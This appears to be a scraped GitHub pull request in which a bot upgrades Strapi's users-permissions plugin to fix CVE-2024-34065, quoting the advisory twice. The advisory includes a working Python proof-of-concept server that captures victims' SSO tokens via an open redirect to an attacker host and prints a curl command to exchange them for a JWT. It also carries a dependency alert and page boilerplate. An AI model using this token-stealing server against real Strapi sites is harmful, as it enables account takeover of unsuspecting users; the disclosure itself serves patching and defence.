You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).
Impact
Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.
Technical details
Vulnerability 1: Open Redirect
Description
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.
Remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:
Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
Example 1: Open Redirect in /api/connect/microsoft via $_GET["callback"]
Look at the intercepted request in Burp and see the redirect to Microsoft:
Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.
Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):
The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So <TARGET> is using the cookies (koa.sess) to redirect.
'use strict';/** * Auth.js controller * * @​description: A set of functions called "actions" for managing `Auth`. *//* eslint-disable no-useless-escape */constcrypto=require('crypto');const_=require('lodash');const{ concat, compact, isArray }=require('lodash/fp');constutils=require('@​strapi/utils');const{contentTypes: { getNonWritableAttributes },}=require('@​strapi/utils');const{ getService }=require('../utils');const{
validateCallbackBody,
validateRegisterBody,
validateSendEmailConfirmationBody,
validateForgotPasswordBody,
validateResetPasswordBody,
validateEmailConfirmationBody,
validateChangePasswordBody,}=require('./validation/auth');const{ getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize }=utils;const{ ApplicationError, ValidationError, ForbiddenError }=utils.errors;constsanitizeUser=(user,ctx)=>{const{ auth }=ctx.state;constuserSchema=strapi.getModel('plugin::users-permissions.user');returnsanitize.contentAPI.output(user,userSchema,{ auth });};module.exports={asynccallback(ctx){constprovider=ctx.params.provider||'local';constparams=ctx.request.body;conststore=strapi.store({type: 'plugin',name: 'users-permissions'});constgrantSettings=awaitstore.get({key: 'grant'});constgrantProvider=provider==='local' ? 'email' : provider;if(!_.get(grantSettings,[grantProvider,'enabled'])){thrownewApplicationError('This provider is disabled');}if(provider==='local'){awaitvalidateCallbackBody(params);const{ identifier }=params;// Check if the user exists.constuser=awaitstrapi.query('plugin::users-permissions.user').findOne({where: {
provider,$or: [{email: identifier.toLowerCase()},{username: identifier}],},});if(!user){thrownewValidationError('Invalid identifier or password');}if(!user.password){thrownewValidationError('Invalid identifier or password');}constvalidPassword=awaitgetService('user').validatePassword(params.password,user.password);if(!validPassword){thrownewValidationError('Invalid identifier or password');}constadvancedSettings=awaitstore.get({key: 'advanced'});constrequiresConfirmation=_.get(advancedSettings,'email_confirmation');if(requiresConfirmation&&user.confirmed!==true){thrownewApplicationError('Your account email is not confirmed');}if(user.blocked===true){thrownewApplicationError('Your account has been blocked by an administrator');}returnctx.send({jwt: getService('jwt').issue({id: user.id}),user: awaitsanitizeUser(user,ctx),});}// Connect the user with the third-party provider.try{constuser=awaitgetService('providers').connect(provider,ctx.query);if(user.blocked){thrownewForbiddenError('Your account has been blocked by an administrator');}returnctx.send({jwt: getService('jwt').issue({id: user.id}),user: awaitsanitizeUser(user,ctx),});}catch(error){thrownewApplicationError(error.message);}},//...asyncconnect(ctx,next){constgrant=require('grant-koa');constproviders=awaitstrapi.store({type: 'plugin',name: 'users-permissions',key: 'grant'}).get();constapiPrefix=strapi.config.get('api.rest.prefix');constgrantConfig={defaults: {prefix: `${apiPrefix}/connect`,},
...providers,};const[requestPath]=ctx.request.url.split('?');constprovider=requestPath.split('/connect/')[1].split('/')[0];if(!_.get(grantConfig[provider],'enabled')){thrownewApplicationError('This provider is disabled');}if(!strapi.config.server.url.startsWith('http')){strapi.log.warn('You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url');}// Ability to pass OAuth callback dynamicallygrantConfig[provider].callback=_.get(ctx,'query.callback')||_.get(ctx,'session.grant.dynamic.callback')||grantConfig[provider].callback;grantConfig[provider].redirect_uri=getService('providers').buildRedirectUri(provider);returngrant(grantConfig)(ctx,next);},//...};
And more specifically:
...
// Ability to pass OAuth callback dynamicallygrantConfig[provider].callback=_.get(ctx,'query.callback')||_.get(ctx,'session.grant.dynamic.callback')||grantConfig[provider].callback;grantConfig[provider].redirect_uri=getService('providers').buildRedirectUri(provider);returngrant(grantConfig)(ctx,next);
...
constgetInitialProviders=({ purest })=>({//..asyncmicrosoft({ accessToken }){constmicrosoft=purest({provider: 'microsoft'});returnmicrosoft.get('me').auth(accessToken).request().then(({ body })=>({username: body.userPrincipalName,email: body.userPrincipalName,}));},//..});
If parameter $_GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:
Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}.
The signature of the cookie is stored in cookie koa.sess.sig:
Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Example 1: SSO token transmitted within URL ($_GET["access_token"])
Path: /api/connect/microsoft
Parameter: $_GET["callback"]
When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.
With a web server specially developed to exploit the vulnerability listening on <C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.
A user is on his browser when he decides to click on a link sent to him by e-mail.
The attacker places the malicious link in the URL bar to simulate a victim's click.
The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.
Everything is invisible to the victim.
Because the victim didn't change to another Web page.
The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.
Details
Get the JWT token with the access_token
First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.
Request (HTTP):
GET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1Host: <TARGET>
POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)
importbase64importjsonimporturllib.parsefromhttp.serverimportBaseHTTPRequestHandler, HTTPServerfromsysimportargv# Strapi URL.TARGET="target.com"# URLs to which victims are automatically redirected.REDIRECT_URL= [
"strapi.io",
"www.google.fr"
]
# URL used to generate a valid JWT token for authentication within the# application.GEN_JWT_URL=f"https://{TARGET}/api/auth/microsoft/callback"# This function is used to generate a curl command which once executed, will# give us a valid JWT connection token.defgenerate_curl_command(token):
command=f"curl '{GEN_JWT_URL}?access_token={token}'"returncommand# We create a custom HTTP server to retrieve users' SSO tokens.classCustomServer(BaseHTTPRequestHandler):
# Here we override the default logging function to reduce verbosity.deflog_message(self, format, *args):
pass# This function automatically redirects a user to the page defined in the# global variable linked to the redirection.def_set_response(self):
self.send_response(302)
self.send_header("Location", REDIRECT_URL[0])
self.end_headers()
# If an SSO token is present, we parse it and log the result in STDOUT.defdo_GET(self):
# This condition checks whether a token is present in the URL.ifstr(self.path).find("access_token") !=-1:
# If this is the case, we recover the token.query=urllib.parse.urlparse(self.path).queryquery_components=dict(qc.split("=") forqcinquery.split("&"))
access_token=urllib.parse.unquote(query_components["access_token"])
# In the token, which is a string in JWT format, we retrieve the# body part of the token.interesting_data=access_token.split(".")[1]
# Patching base64 encoded data.interesting_data=interesting_data+"="* (-len(interesting_data) %4)
# Parsing JSON.json_data=json.loads(base64.b64decode(interesting_data.encode()))
family_name, given_name, ipaddr, upn=json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]
print(f"[+] Token captured for {family_name}{given_name}, {upn} ({ipaddr}):\n{access_token}\n")
print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")
self._set_response()
self.wfile.write("Redirecting ...".encode("utf-8"))
defrun(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
server_address= (ip, port)
httpd=server_class(server_address, handler_class)
print(f"Starting httpd ({ip}:{port}) ...")
try:
httpd.serve_forever()
exceptKeyboardInterrupt:
passhttpd.server_close()
print("Stopping httpd ...")
if__name__=="__main__":
iflen(argv) ==3:
run(ip=argv[1], port=int(argv[2]))
else:
run()
Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
Action
Severity
Alert (click for details)
Warn
fs@0.0.1-security is Protestware or potentially unwanted behavior.
Note: You don’t need to install the fs package from npm.
Node.js comes with fs (the filesystem module) built in — there’s no need to install anything. Just use require(‘fs’) or import fs from ‘fs’, and Node will handle it.
The fs@0.0.1-security package you’re seeing was published by the npm security team as a placeholder to block misuse of the package name. It’s not malware, but it’s also not something you should have in your project. It doesn’t do anything and can be safely uninstalled.
What to do:
Run npm uninstall fs (or yarn remove fs)
Don’t worry — this won’t break your code
If you see this package in your dependencies, it likely got installed by mistake or misunderstanding.
Next steps: Take a moment to review the security alert
above. Review the linked package source code to understand the potential
risk. Ensure the package is not malicious before proceeding. If you're
unsure how to proceed, reach out to your security team or ask the Socket
team for help at support@socket.dev.
Suggestion: Consider that consuming this package may come along with functionality unrelated to its primary purpose.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/fs@0.0.1-security. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Note
Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to
mend[bot]
.This notice will be removed on 2025-10-07.
This PR contains the following updates:
4.24.0
->4.24.2
GitHub Vulnerability Alerts
CVE-2024-34065
Summary
By combining two vulnerabilities (an
Open Redirect
andsession token sent as URL query parameter
) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).Impact
Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.
Technical details
Vulnerability 1: Open Redirect
Description
Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.
In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.
Remediation
If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:
If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:
Example 1: Open Redirect in /api/connect/microsoft via
$_GET["callback"]
$_GET["callback"]
Payload:
Final payload:
User clicks on the link:

Look at the intercepted request in Burp and see the redirect to Microsoft:
Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.
Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):
The domain originally specified (https://google.fr) as
$_GET["callback"]
parameter is present in the cookies. So <TARGET> is using the cookies (koa.sess
) to redirect.koa.sess
cookie:The vulnerability seems to come from the application's core:
File: packages/plugins/users-permissions/server/controllers/auth.js
And more specifically:
Possible patch:
_.get(ctx, 'query.callback')
=$_GET["callback"]
and_.get(ctx, 'session')
=$_COOKIE["koa.sess"]
(which is{"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"_expire":1701275652123,"_maxAge":86400000}
) so_.get(ctx, 'session.grant.dynamic.callback')
=https://XXXXXXX/
.The route is clearly defined here:
File: packages/plugins/users-permissions/server/routes/content-api/auth.js
File: packages/plugins/users-permissions/server/services/providers-registry.js
If parameter
$_GET["callback"]
is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookiekoa.sess
:koa.sess
=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9
Which once base64 decoded become
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}
.The signature of the cookie is stored in cookie
koa.sess.sig
:koa.sess.sig
=wTRmcVRrn88hWMdg84VvSD87-_0
File: packages/plugins/users-permissions/server/bootstrap/grant-config.js
Vulnerability 2: Session token in URL
Description
Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
Example 1: SSO token transmitted within URL (
$_GET["access_token"]
)$_GET["callback"]
When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.
Weaponized payload:
With a web server specially developed to exploit the vulnerability listening on <C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.
A user is on his browser when he decides to click on a link sent to him by e-mail.
The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.
Because the victim didn't change to another Web page.
The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.
Details
Get the JWT token with the
access_token
First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.
Request (HTTP):
Response (HTTP):
Request API routes using the JWT token
Then reuse the JWT token to request the API.
Request (HTTP):
Response (HTTP):
POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)
Release Notes
strapi/strapi (@strapi/plugin-users-permissions)
v4.24.2
Compare Source
Strapi was made aware of a vulnerably that were patched in this release, for now we are going to delay the detailed disclosure of the exact details on how to exploit it and how it was patched to give time for users to upgrade before we do public disclosure.
📚 Update and Migration Guides
Full Changelog: strapi/strapi@v4.24.2...v4.24.1
v4.24.1
Compare Source
🔥 Bug fix
📚 Update and Migration Guides
Configuration
📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
This PR was generated by Mend Renovate. View the repository job log.